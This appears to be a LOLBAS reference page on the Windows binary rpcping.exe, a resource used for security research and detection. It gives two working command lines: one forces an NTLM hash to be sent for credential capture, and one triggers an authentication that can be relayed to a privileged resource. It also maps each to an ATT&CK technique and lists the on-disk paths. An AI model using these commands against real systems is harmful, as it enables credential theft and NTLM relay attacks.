LOLBAS. GitHub
LIVING OFF THE LAND / OS BINARIES

Rpcping.exe

View source

Used to verify rpc connection

02COMMAND EXAMPLES
02ATT&CK TECHNIQUES
01DETECTION RESOURCES
01CAPABILITIES
01 / TRADECRAFT

Command reference

2 examples

Credentials2

EXAMPLE 01T1003

Send a RPC test connection to the target server (-s) and force the NTLM hash to be sent in the process.

COMMAND
rpcping -s 127.0.0.1 -e 1234 -a privacy -u NTLM
USE CASE
Capture credentials on a non-standard port
PRIVILEGES
User
OPERATING SYSTEM
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
EXAMPLE 02T1187

Trigger an authenticated RPC call to the target server (/s) that could be relayed to a privileged resource (Sign not Set).

COMMAND
rpcping /s 10.0.0.35 /e 9997 /a connect /u NTLM
USE CASE
Relay a NTLM authentication over RPC (ncacn_ip_tcp) on a custom port
PRIVILEGES
User
OPERATING SYSTEM
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
02 / ON DISK

Known paths

C:\Windows\System32\rpcping.exe
C:\Windows\SysWOW64\rpcping.exe
03 / DEFENSIVE INTELLIGENCE

Detection & indicators

1 resources
FURTHER READING

Research & resources

COMMUNITY RESEARCH

Acknowledgements

Casey Smith@subtee
Vincent Yiu@vysecurity
Antonio Cocomazzi@splinter_code
ap@decoder_it